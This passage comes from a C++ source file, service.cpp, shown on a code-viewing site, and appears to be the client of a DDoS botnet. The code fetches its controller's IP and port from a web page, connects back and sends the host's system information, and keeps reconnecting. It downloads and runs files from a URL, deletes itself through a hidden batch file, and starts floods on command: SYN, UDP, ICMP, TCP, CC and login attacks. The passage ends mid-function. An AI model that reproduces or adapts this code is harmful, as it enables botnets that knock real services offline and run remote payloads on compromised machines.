📄 service.cpp
字号:
}
//MessageBox(NULL,html,NULL,MB_OK);
//分离客户端ip和端口
point=html;
if(strstr(html,"[")!=NULL)
{
point=point+strlen("[");
}
if(strstr(point,":")!=NULL)
{
memset(ClientPa.IP,0,sizeof(ClientPa.IP));
strncpy(ClientPa.IP,point,strcspn(point,":"));
point=point+strcspn(point,":")+1;
if(strstr(point,"]")!=NULL)
{
memset(ClientPa.port,0,sizeof(ClientPa.port));
strncpy(ClientPa.port,point,strcspn(point,"]"));
}
}
//::MessageBox(NULL,ClientIP,NULL,MB_OK);
//::MessageBox(NULL,ClientPort,NULL,MB_OK);
//*************************************************
HANDLE hThread;
unsigned long uiThreadID=0;
try
{
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&WsaData))!=0)
{
return -1;
}
sock_client=::socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock_client==INVALID_SOCKET)
{
return -1;
}
//上线地址结构
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.S_un.S_addr=resolve(ClientPa.IP);
DestAddr.sin_port=htons(atoi(ClientPa.port));
//连接上线
if(connect(sock_client,(sockaddr*)&DestAddr,sizeof(DestAddr))==SOCKET_ERROR )
{
Sleep(3000);
}
GetSystemInfo(sysinfo);
//发送上线消息
if (SOCKET_ERROR!=send(sock_client,(char *)&sysinfo,sizeof(SYSTEMINIT),0))
{
}
//注册异步socket
if (WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_CLOSE)==SOCKET_ERROR)
{
}
//开始线程
hThread=(HANDLE)::CreateThread(NULL,0,SocketThreadProc,&ClientPa,CREATE_SUSPENDED,&uiThreadID);
if (hThread!=NULL)
{
ResumeThread(hThread);
}
}
catch(...)
{}
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 1;
}
//***********************************************//自删除
void uninstall(void)//Thanks to Spybot
{
int i;
HANDLE hFile;
DWORD dwWritten;
char selfpathaaa[MAX_PATH]={0};
char command[2048]={0};
char name[]="afc9fe2f418b00a0.bat";
GetModuleFileName(NULL,selfpathaaa,MAX_PATH);
lstrcpy(command,"@echo off\n\r");
for (i=0;i<10;i++)
lstrcat(command,"@echo asdfhdsafjkahlsdjfhlk>>3596799a1543bc9f.aqq\n\r");
lstrcat(command,"@del 3596799a1543bc9f.aqq\n\r");
lstrcat(command,"@del \"");
lstrcat(command,selfpathaaa);
lstrcat(command,"\"\n\r");
lstrcat(command,"@del ");
lstrcat(command,name);
lstrcat(command,"\n\r@exit");
hFile=CreateFile(name,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
WriteFile(hFile,(LPCVOID)command,sizeof(command),&dwWritten,NULL);
CloseHandle(hFile);
WinExec(name,SW_HIDE);
ExitProcess(NULL);
}
///************************************************
char* GetHttpFile(char Url[])
{
HMODULE hDll;
LPVOID hInternet,hUrlHandle;
char buf[1000],*retstr=NULL;
retstr=buf;
DWORD dwFlags;
hDll = LoadLibrary("wininet.dll");
if(hDll)
{
typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
typedef LPVOID ( WINAPI * pInternetOpenUrl ) ( LPVOID ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);
typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );
typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
pInternetOpen InternetOpen=NULL;
pInternetOpenUrl InternetOpenUrl=NULL;
pInternetCloseHandle InternetCloseHandle=NULL;
pInternetReadFile InternetReadFile=NULL;
InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
InternetOpenUrl = (pInternetOpenUrl ) GetProcAddress ( hDll, "InternetOpenUrlA");
InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
hInternet = InternetOpen("Hackeroo",0, NULL, NULL, 0);
if (hInternet != NULL)
{
hUrlHandle = InternetOpenUrl(hInternet, Url, NULL, 0, 0x04000000, 0);
if (hUrlHandle!= NULL)
{
memset(buf,0,1000);
InternetReadFile(hUrlHandle, buf,999, &dwFlags);
InternetCloseHandle(hUrlHandle);
hUrlHandle = NULL;
}
InternetCloseHandle(hInternet);
hInternet = NULL;
}
FreeLibrary(hDll);
return retstr;
}
else
return NULL;
}
bool doHTTP(char* ServerName,DWORD port,char* ActionFile, char* Method,char* HttpHeaders, char* FormData)
{ //doHTTP("127.0.0.1",8080,"*(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html","GET","Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n","");
HMODULE hDll;
LPVOID hSession,hConnect,hRequest;
bool bSendRequest=false;
char buf[1000];
DWORD dwFlags;
hDll = LoadLibrary("wininet.dll");
if(hDll)
{
typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
typedef LPVOID ( WINAPI * pInternetConnect ) ( LPVOID ,LPCTSTR ,WORD ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);
typedef LPVOID ( WINAPI * pHttpOpenRequest ) ( LPVOID ,LPCTSTR ,LPCTSTR ,LPCTSTR ,LPCTSTR ,LPCSTR FAR * ,DWORD ,DWORD);
typedef BOOL ( WINAPI * pHttpSendRequest ) (LPVOID ,LPCSTR ,DWORD ,LPVOID,DWORD) ;
typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );
pInternetOpen InternetOpen=NULL;
pInternetConnect InternetConnect=NULL;
pHttpOpenRequest HttpOpenRequest=NULL;
pHttpSendRequest HttpSendRequest=NULL;
pInternetCloseHandle InternetCloseHandle=NULL;
pInternetReadFile InternetReadFile=NULL;
InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
InternetConnect = (pInternetConnect ) GetProcAddress ( hDll, "InternetConnectA");
HttpOpenRequest = (pHttpOpenRequest) GetProcAddress (hDll,"HttpOpenRequestA");
HttpSendRequest = ( pHttpSendRequest ) GetProcAddress( hDll, "HttpSendRequestA" );
InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
// 创建Internet
hSession = InternetOpen("Hackeroo",0, NULL, NULL, 0);
if (hSession != NULL)
{
// 连接服务器
hConnect = InternetConnect(hSession,ServerName,(WORD)port, NULL, NULL, 3, 0, 1);
if (hConnect!= NULL)
{
// 创建一个请求
LPTSTR AcceptTypes[2]={"*/*",NULL};
hRequest = HttpOpenRequest(hConnect,Method,ActionFile,"HTTP/1.1",NULL,(LPCTSTR*)AcceptTypes,0, 1);
if (hRequest!= NULL)
{
// 发送请求
bSendRequest =HttpSendRequest(hRequest,HttpHeaders,strlen(HttpHeaders),FormData,strlen(FormData));
if (bSendRequest)
{
memset(buf,0,1000);
InternetReadFile(hRequest, buf,999, &dwFlags);
printf("%s",buf);
}
}
}
// 清除句柄
if (hRequest)
InternetCloseHandle(hRequest);
if (hConnect)
InternetCloseHandle(hConnect);
if (hSession)
InternetCloseHandle(hSession);
}
FreeLibrary(hDll);
}
return bSendRequest;
}
void DownExec(char url[])
{
HMODULE hshell,hurlmon;
hshell=LoadLibrary("Shell32.dll");
hurlmon=LoadLibrary("urlmon.dll");
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );
//动态加载shell32.dll中的ShellExecuteA函数
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);
//动态加载Urlmon.dll中的UrlDownloadToFileA函数
(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
DOWNFILE(NULL,url,"c:\\pagefile.pif",0, NULL);
SHELLRUN(0,"open","c:\\pagefile.pif",NULL,NULL,5);
FreeLibrary(hshell);
FreeLibrary(hurlmon);
}
void OpenUrl(char url[])
{
HMODULE hshell;
hshell=LoadLibrary("Shell32.dll");
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );
//动态加载shell32.dll中的ShellExecuteA函数
(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
SHELLRUN(0,"open",url,NULL,NULL,5);
FreeLibrary(hshell);
}
//*************************************************
//连接线程//每30秒检测是否断线,并连接
unsigned long CALLBACK SocketThreadProc(LPVOID pParam)
{
struct sockaddr_in TargAddr;
memset(&TargAddr,0,sizeof(TargAddr));
TargAddr.sin_family=AF_INET;
TargAddr.sin_addr.S_un.S_addr=resolve(ClientPa.IP);
TargAddr.sin_port=htons(atoi(ClientPa.port));
while (1)
{
if(connect(sock_client,(sockaddr*)&TargAddr,sizeof(TargAddr))==SOCKET_ERROR )
{
Sleep(3000);
int i=::WSAGetLastError();
if (i==10056)//socket已连接
{
//发送在线检测消息
int ret = send(sock_client,"test",strlen("test"),0);
if (ret >0)//连接正常
{
Sleep(30000);
continue;
}
}
//连接已经断开------------------------
//如果sock中断,创建sock
closesocket(sock_client);
sock_client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Sleep(15000);
char html[256];
char *point;
memset(html,0,sizeof(html));
if(isdns)
{
strcpy(html,"[");
strcat(html,modify_data.IPFile);
strcat(html,"]");
}
else
{
//获取网页内容
for(;;)
{
if(GetHttpFile!=NULL)
{
strcpy(html,strlwr(GetHttpFile(modify_data.IPFile)));
break;
}
else
Sleep(30000);
}
}
//MessageBox(NULL,html,NULL,MB_OK);
//*****************************//获取客户端ip和端口
point=html;
if(strstr(html,"[")!=NULL)
{
point=point+strlen("[");
}
if(strstr(point,":")!=NULL)
{
memset(ClientPa.IP,0,sizeof(ClientPa.IP));
strncpy(ClientPa.IP,point,strcspn(point,":"));
point=point+strcspn(point,":")+1;
if(strstr(point,"]")!=NULL)
{
memset(ClientPa.port,0,sizeof(ClientPa.port));
strncpy(ClientPa.port,point,strcspn(point,"]"));
memset(&TargAddr,0,sizeof(TargAddr));
TargAddr.sin_family=AF_INET;
TargAddr.sin_addr.S_un.S_addr=resolve(ClientPa.IP);
TargAddr.sin_port=htons(atoi(ClientPa.port));
}
}
}
else
{
send(sock_client,(char *)&sysinfo,sizeof(SYSTEMINIT),0);
WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_CLOSE);
Sleep(15000);
}
Sleep(1000);
}
return 0;
}
//*************************************************
//*************************************************
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_SOCKET:
if(WSAGETSELECTERROR(lParam))
{
closesocket(wParam);
break;
}
switch(WSAGETSELECTEVENT(lParam))
{
//读取输入
case FD_READ:
if (recv(sock_client,(char*)&fuckweb,sizeof(FUCKWEB),0)!=SOCKET_ERROR)
{
/*
char msg[256];
sprintf(msg,"%s|%d|%d|%d",fuckweb.FuckIP,fuckweb.FuckPort,fuckweb.FuckType,fuckweb.thread);
::MessageBox(NULL,msg,NULL,MB_OK);
break;
*/
stopfuck=false;
int a;
switch(fuckweb.FuckType)
{
case 1://syn flood
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
}
break;
case 2://udp flood
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
}
break;
case 3://udp 小包裹
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
}
break;
case 4://icmp flood
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
}
break;
case 5://tcp mutlconnect
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,connect_break,NULL,0,NULL);
}
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
break;
case 6://tcp flood
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
}
break;
case 7:
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,nocache_get,NULL,0,NULL);
}
break;
case 8:
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,cc_attack,NULL,0,NULL);
}
break;
case 9:
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,null_get,NULL,0,NULL);
}
break;
case 10://SF
for (a=0;a<6;a++)
{
::CreateThread(NULL,0,Login_Attack,NULL,0,NULL);
}
break;
case 11://LU
case 12://chat
{
::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
::CreateThread(NULL,0,connect_break,NULL,0,NULL);
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
}
break;
case 13://
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
::CreateThread(NULL,0,connect_break,NULL,0,NULL);
}
break;
case 14://
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
}
break;
case 15://
for (a=0;a<fuckweb.thread;a++)
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -